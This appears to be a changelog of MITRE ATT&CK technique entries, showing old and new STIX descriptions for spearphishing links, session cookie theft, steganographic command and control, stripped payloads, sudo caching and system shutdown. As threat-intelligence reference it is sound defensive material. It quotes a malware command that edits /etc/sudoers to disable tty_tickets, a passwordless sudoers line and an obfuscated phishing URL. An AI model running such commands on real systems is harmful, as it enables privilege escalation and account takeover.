| > | ed into granting adversaries permissions/access via a malici | > | ed into granting adversaries permissions/access via a malici | ||
| > | ous OAuth 2.0 request URL that when accepted by the user pro | > | ous OAuth 2.0 request URL that when accepted by the user pro | ||
| > | vide permissions/access for malicious applications.(Citation | > | vides permissions/access for malicious applications.(Citatio | ||
| > | : Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu | > | n: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OA | ||
| > | th 2.0 Consent Phishing 2021) These stolen access tokens all | > | uth 2.0 Consent Phishing 2021) These stolen access tokens al | ||
| > | ow the adversary to perform various actions on behalf of the | > | low the adversary to perform various actions on behalf of th | ||
| > | user via API calls.(Citation: Microsoft OAuth 2.0 Consent P | > | e user via API calls.(Citation: Microsoft OAuth 2.0 Consent | ||
| > | hishing 2021) Similarly, malicious links may also target de | > | Phishing 2021) Similarly, malicious links may also target d | ||
| > | vice-based authorization, such as OAuth 2.0 device authoriza | > | evice-based authorization, such as OAuth 2.0 device authoriz | ||
| > | tion grant flow which is typically used to authenticate devi | > | ation grant flow which is typically used to authenticate dev | ||
| > | ces without UIs/browsers. Known as “device code phishing,” a | > | ices without UIs/browsers. Known as “device code phishing,” | ||
| > | n adversary may send a link that directs the victim to a mal | > | an adversary may send a link that directs the victim to a ma | ||
| > | icious authorization page where the user is tricked into ent | > | licious authorization page where the user is tricked into en | ||
| > | ering a code/credentials that produces a device token.(Citat | > | tering a code/credentials that produces a device token.(Cita | ||
| > | ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko | > | tion: SecureWorks Device Code Phishing 2021)(Citation: Netsk | ||
| > | pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph | > | ope Device Code Phishing 2021)(Citation: Optiv Device Code P | ||
| > | ishing 2021) | > | hishing 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-11 19:55:38.427000+00:00 | 2026-11-04 03:26:48.906000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021) | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provides permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021) |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.', 'url': 'https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Rebekah Brown', 'John Scott-Railton', 'Menachem Goldstein'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-06 16:36:02.606000+00:00 | 2026-11-02 15:55:58.573000+00:00 |
Current version: 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may steal web application or service session co | t | 1 | An adversary may steal web application or service session co |
| > | okies and use them to gain access to web applications or Int | > | okies and use them to gain access to web applications or Int | ||
| > | ernet services as an authenticated user without needing cred | > | ernet services as an authenticated user without needing cred | ||
| > | entials. Web applications and services often use session coo | > | entials. Web applications and services often use session coo | ||
| > | kies as an authentication token after a user has authenticat | > | kies as an authentication token after a user has authenticat | ||
| > | ed to a website. Cookies are often valid for an extended pe | > | ed to a website. Cookies are often valid for an extended pe | ||
| > | riod of time, even if the web application is not actively us | > | riod of time, even if the web application is not actively us | ||
| > | ed. Cookies can be found on disk, in the process memory of t | > | ed. Cookies can be found on disk, in the process memory of t | ||
| > | he browser, and in network traffic to remote systems. Additi | > | he browser, and in network traffic to remote systems. Additi | ||
| > | onally, other applications on the targets machine might stor | > | onally, other applications on the targets machine might stor | ||
| > | e sensitive authentication cookies in memory (e.g. apps whic | > | e sensitive authentication cookies in memory (e.g. apps whic | ||
| > | h authenticate to cloud services). Session cookies can be us | > | h authenticate to cloud services). Session cookies can be us | ||
| > | ed to bypasses some multi-factor authentication protocols.(C | > | ed to bypasses some multi-factor authentication protocols.(C | ||
| > | itation: Pass The Cookie) There are several examples of mal | > | itation: Pass The Cookie) There are several examples of mal | ||
| > | ware targeting cookies from web browsers on the local system | > | ware targeting cookies from web browsers on the local system | ||
| > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | ||
| > | Mac Crypto Cookies January 2019) Adversaries may also steal | > | Mac Crypto Cookies January 2019) Adversaries may also steal | ||
| > | cookies by injecting malicious JavaScript content into webs | > | cookies by injecting malicious JavaScript content into webs | ||
| > | ites or relying on [User Execution](https://attack.mitre.org | > | ites or relying on [User Execution](https://attack.mitre.org | ||
| > | /techniques/T1204) by tricking victims into running maliciou | > | /techniques/T1204) by tricking victims into running maliciou | ||
| > | s JavaScript in their browser.(Citation: Talos Roblox Scam 2 | > | s JavaScript in their browser.(Citation: Talos Roblox Scam 2 | ||
| > | 023)(Citation: Krebs Discord Bookmarks 2023) There are also | > | 023)(Citation: Krebs Discord Bookmarks 2023) There are also | ||
| > | open source frameworks such as `Evilginx2` and `Muraena` th | > | open source frameworks such as `Evilginx2` and `Muraena` th | ||
| > | at can gather session cookies through a malicious proxy (e.g | > | at can gather session cookies through a malicious proxy (e.g | ||
| > | ., [Adversary-in-the-Middle](https://attack.mitre.org/techni | > | ., [Adversary-in-the-Middle](https://attack.mitre.org/techni | ||
| > | ques/T1557)) that can be set up by an adversary and used in | > | ques/T1557)) that can be set up by an adversary and used in | ||
| > | phishing campaigns.(Citation: Github evilginx2)(Citation: Gi | > | phishing campaigns.(Citation: Github evilginx2)(Citation: Gi | ||
| > | tHub Mauraena) After an adversary acquires a valid cookie, | > | tHub Mauraena) After an adversary acquires a valid cookie, | ||
| > | they can then perform a [Web Session Cookie](https://attack. | > | they can then perform a [Web Session Cookie](https://attack. | ||
| > | mitre.org/techniques/T1550/004) technique to login to the co | > | mitre.org/techniques/T1550/004) technique to log in to the c | ||
| > | rresponding web application. | > | orresponding web application. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.621000+00:00 | 2026-11-03 21:46:39.325000+00:00 |
| description | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to log in to the corresponding web application. |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use steganographic techniques to hide comman | t | 1 | Adversaries may use steganographic techniques to hide comman |
| > | d and control traffic to make detection efforts more difficu | > | d and control traffic to make detection efforts more difficu | ||
| > | lt. Steganographic techniques can be used to hide data in di | > | lt. Steganographic techniques can be used to hide data in di | ||
| > | gital messages that are transferred between systems. This hi | > | gital messages that are transferred between systems. This hi | ||
| > | dden information can be used for command and control of comp | > | dden information can be used for command and control of comp | ||
| > | romised systems. In some cases, the passing of files embedde | > | romised systems. In some cases, the passing of files embedde | ||
| > | d using steganography, such as image or document files, can | > | d using steganography, such as image or document files, can | ||
| > | be used for command and control. | > | be used for command and control.(Citation: Kaspersky)(Citati | ||
| > | on: Sophos - Cover Their Tracks) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:35.060000+00:00 | 2026-06-12 14:31:27.856000+00:00 |
| description | Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. | Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.(Citation: Kaspersky)(Citation: Sophos - Cover Their Tracks) |
| external_references[1]['source_name'] | University of Birmingham C2 | Kaspersky |
| external_references[1]['description'] | Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. | Kaspersky. (n.d.). What is steganography? Definition and explanation. Retrieved June 12, 2026. |
| external_references[1]['url'] | https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | https://www.kaspersky.com/resource-center/definitions/what-is-steganography |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Sophos - Cover Their Tracks', 'description': 'Counter Threat Unit Research Team. (2025, November 16). Cover Their Tracks: How Attackers are Hiding C&C Communication. Retrieved June 12, 2026.', 'url': 'https://www.sophos.com/en-us/blog/cover-their-tracks-how-attackers-are-hiding-cc-communication'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to make a payload difficult to analy | t | 1 | Adversaries may attempt to make a payload difficult to analy |
| > | ze by removing symbols, strings, and other human readable in | > | ze by removing symbols, strings, and other human readable in | ||
| > | formation. Scripts and executables may contain variables nam | > | formation. Scripts and executables may contain variable name | ||
| > | es and other strings that help developers document code func | > | s and other strings that help developers document code funct | ||
| > | tionality. Symbols are often created by an operating system’ | > | ionality. Symbols are often created by an operating system’s | ||
| > | s `linker` when executable payloads are compiled. Reverse en | > | `linker` when executable payloads are compiled. Reverse eng | ||
| > | gineers use these symbols and strings to analyze code and to | > | ineers use these symbols and strings to analyze code and to | ||
| > | identify functionality in payloads.(Citation: Mandiant gola | > | identify functionality in payloads.(Citation: Mandiant golan | ||
| > | ng stripped binaries explanation)(Citation: intezer stripped | > | g stripped binaries explanation)(Citation: intezer stripped | ||
| > | binaries elf files 2018) Adversaries may use stripped payl | > | binaries elf files 2018) Adversaries may use stripped paylo | ||
| > | oads in order to make malware analysis more difficult. For e | > | ads in order to make malware analysis more difficult. For ex | ||
| > | xample, compilers and other tools may provide features to re | > | ample, compilers and other tools may provide features to rem | ||
| > | move or obfuscate strings and symbols. Adversaries have also | > | ove or obfuscate strings and symbols. Adversaries have also | ||
| > | used stripped payload formats, such as run-only AppleScript | > | used stripped payload formats, such as run-only AppleScripts | ||
| > | s, a compiled and stripped version of [AppleScript](https:// | > | , a compiled and stripped version of [AppleScript](https://a | ||
| > | attack.mitre.org/techniques/T1059/002), to evade detection a | > | ttack.mitre.org/techniques/T1059/002), to evade detection an | ||
| > | nd analysis. The lack of human-readable information may dire | > | d analysis. The lack of human-readable information may direc | ||
| > | ctly hinder detection and analysis of payloads.(Citation: Se | > | tly hinder detection and analysis of payloads.(Citation: Sen | ||
| > | ntinelLabs reversing run-only applescripts 2021) | > | tinelLabs reversing run-only applescripts 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.624000+00:00 | 2026-11-03 21:24:50.844000+00:00 |
| description | Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018) Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021) | Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variable names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018) Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform sudo caching and/or use the sudoers | t | 1 | Adversaries may perform sudo caching and/or use the sudoers |
| > | file to elevate privileges. Adversaries may do this to execu | > | file to elevate privileges. Adversaries may do this to execu | ||
| > | te commands as other users or spawn processes with higher pr | > | te commands as other users or spawn processes with higher pr | ||
| > | ivileges. Within Linux and MacOS systems, sudo (sometimes r | > | ivileges. Within Linux and MacOS systems, sudo (sometimes r | ||
| > | eferred to as "superuser do") allows users to perform comman | > | eferred to as "superuser do") allows users to perform comman | ||
| > | ds from terminals with elevated privileges and to control wh | > | ds from terminals with elevated privileges and to control wh | ||
| > | o can perform these commands on the system. The <code>sudo</ | > | o can perform these commands on the system. The <code>sudo</ | ||
| > | code> command "allows a system administrator to delegate aut | > | code> command "allows a system administrator to delegate aut | ||
| > | hority to give certain users (or groups of users) the abilit | > | hority to give certain users (or groups of users) the abilit | ||
| > | y to run some (or all) commands as root or another user whil | > | y to run some (or all) commands as root or another user whil | ||
| > | e providing an audit trail of the commands and their argumen | > | e providing an audit trail of the commands and their argumen | ||
| > | ts."(Citation: sudo man page 2018) Since sudo was made for t | > | ts."(Citation: sudo man page 2018) Since sudo was made for t | ||
| > | he system administrator, it has some useful configuration fe | > | he system administrator, it has some useful configuration fe | ||
| > | atures such as a <code>timestamp_timeout</code>, which is th | > | atures such as a <code>timestamp_timeout</code>, which is th | ||
| > | e amount of time in minutes between instances of <code>sudo< | > | e amount of time in minutes between instances of <code>sudo< | ||
| > | /code> before it will re-prompt for a password. This is beca | > | /code> before it will re-prompt for a password. This is beca | ||
| > | use <code>sudo</code> has the ability to cache credentials f | > | use <code>sudo</code> has the ability to cache credentials f | ||
| > | or a period of time. Sudo creates (or touches) a file at <co | > | or a period of time. Sudo creates (or touches) a file at <co | ||
| > | de>/var/db/sudo</code> with a timestamp of when sudo was las | > | de>/var/db/sudo</code> with a timestamp of when sudo was las | ||
| > | t run to determine this timeout. Additionally, there is a <c | > | t run to determine this timeout. Additionally, there is a <c | ||
| > | ode>tty_tickets</code> variable that treats each new tty (te | > | ode>tty_tickets</code> variable that treats each new tty (te | ||
| > | rminal session) in isolation. This means that, for example, | > | rminal session) in isolation. This means that, for example, | ||
| > | the sudo timeout of one tty will not affect another tty (you | > | the sudo timeout of one tty will not affect another tty (you | ||
| > | will have to type the password again). The sudoers file, < | > | will have to type the password again). The sudoers file, < | ||
| > | code>/etc/sudoers</code>, describes which users can run whic | > | code>/etc/sudoers</code>, describes which users can run whic | ||
| > | h commands and from which terminals. This also describes whi | > | h commands and from which terminals. This also describes whi | ||
| > | ch commands users can run as other users or groups. This pro | > | ch commands users can run as other users or groups. This pro | ||
| > | vides the principle of least privilege such that users are r | > | vides the principle of least privilege such that users are r | ||
| > | unning in their lowest possible permissions for most of the | > | unning in their lowest possible permissions for most of the | ||
| > | time and only elevate to other users or permissions as neede | > | time and only elevate to other users or permissions as neede | ||
| > | d, typically by prompting for a password. However, the sudoe | > | d, typically by prompting for a password. However, the sudoe | ||
| > | rs file can also specify when to not prompt users for passwo | > | rs file can also specify when to not prompt users for passwo | ||
| > | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | > | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | ||
| > | de>.(Citation: OSX.Dok Malware) Elevated privileges are requ | > | de>.(Citation: OSX.Dok Malware) Elevated privileges are requ | ||
| > | ired to edit this file though. Adversaries can also abuse p | > | ired to edit this file though. Adversaries can also abuse p | ||
| > | oor configurations of these mechanisms to escalate privilege | > | oor configurations of these mechanisms to escalate privilege | ||
| > | s without needing the user's password. For example, <code>/v | > | s without needing the user's password. For example, <code>/v | ||
| > | ar/db/sudo</code>'s timestamp can be monitored to see if it | > | ar/db/sudo</code>'s timestamp can be monitored to see if it | ||
| > | falls within the <code>timestamp_timeout</code> range. If it | > | falls within the <code>timestamp_timeout</code> range. If it | ||
| > | does, then malware can execute sudo commands without needin | > | does, then malware can execute sudo commands without needin | ||
| > | g to supply the user's password. Additional, if <code>tty_ti | > | g to supply the user's password. Additionally, if <code>tty_ | ||
| > | ckets</code> is disabled, adversaries can do this from any t | > | tickets</code> is disabled, adversaries can do this from any | ||
| > | ty for that user. In the wild, malware has disabled <code>t | > | tty for that user. In the wild, malware has disabled <code | ||
| > | ty_tickets</code> to potentially make scripting easier by is | > | >tty_tickets</code> to potentially make scripting easier by | ||
| > | suing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</ | > | issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers | ||
| > | code>.(Citation: cybereason osx proton) In order for this ch | > | </code>.(Citation: cybereason osx proton) In order for this | ||
| > | ange to be reflected, the malware also issued <code>killall | > | change to be reflected, the malware also issued <code>killal | ||
| > | Terminal</code>. As of macOS Sierra, the sudoers file has <c | > | l Terminal</code>. As of macOS Sierra, the sudoers file has | ||
| > | ode>tty_tickets</code> enabled by default. | > | <code>tty_tickets</code> enabled by default. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.621000+00:00 | 2026-11-03 21:38:08.407000+00:00 |
| description | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. |
Current version: 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may shutdown/reboot systems to interrupt access | t | 1 | Adversaries may shut down/reboot systems to interrupt access |
| > | to, or aid in the destruction of, those systems. Operating s | > | to, or aid in the destruction of, those systems. Operating | ||
| > | ystems may contain commands to initiate a shutdown/reboot of | > | systems may contain commands to initiate a shutdown/reboot o | ||
| > | a machine or network device. In some cases, these commands | > | f a machine or network device. In some cases, these commands | ||
| > | may also be used to initiate a shutdown/reboot of a remote c | > | may also be used to initiate a shutdown/reboot of a remote | ||
| > | omputer or network device via [Network Device CLI](https://a | > | computer or network device via [Network Device CLI](https:// | ||
| > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | > | attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</c | ||
| > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | > | ode>).(Citation: Microsoft Shutdown Oct 2017)(Citation: aler | ||
| > | _TA18_106A) They may also include shutdown/reboot of a virtu | > | t_TA18_106A) They may also include shutdown/reboot of a virt | ||
| > | al machine via hypervisor / cloud consoles or command line t | > | ual machine via hypervisor / cloud consoles or command line | ||
| > | ools. Shutting down or rebooting systems may disrupt access | > | tools. Shutting down or rebooting systems may disrupt acces | ||
| > | to computer resources for legitimate users while also imped | > | s to computer resources for legitimate users while also impe | ||
| > | ing incident response/recovery. Adversaries may also use Wi | > | ding incident response/recovery. Adversaries may also use W | ||
| > | ndows API functions, such as `InitializeSystemShutdownExW` o | > | indows API functions, such as `InitializeSystemShutdownExW` | ||
| > | r `ExitWindowsEx`, to force a system to shut down or reboot. | > | or `ExitWindowsEx`, to force a system to shut down or reboot | ||
| > | (Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A | > | .(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) | ||
| > | lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi | > | Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` W | ||
| > | ndows API functions with the `ResponseOption` parameter set | > | indows API functions with the `ResponseOption` parameter set | ||
| > | to `OptionShutdownSystem` may deliver a “blue screen of deat | > | to `OptionShutdownSystem` may deliver a “blue screen of dea | ||
| > | h” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais | > | th” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRai | ||
| > | eHardError)(Citation: NotMe-BSOD) In order to leverage these | > | seHardError)(Citation: NotMe-BSOD) In order to leverage thes | ||
| > | API functions, an adversary may need to acquire `SeShutdown | > | e API functions, an adversary may need to acquire `SeShutdow | ||
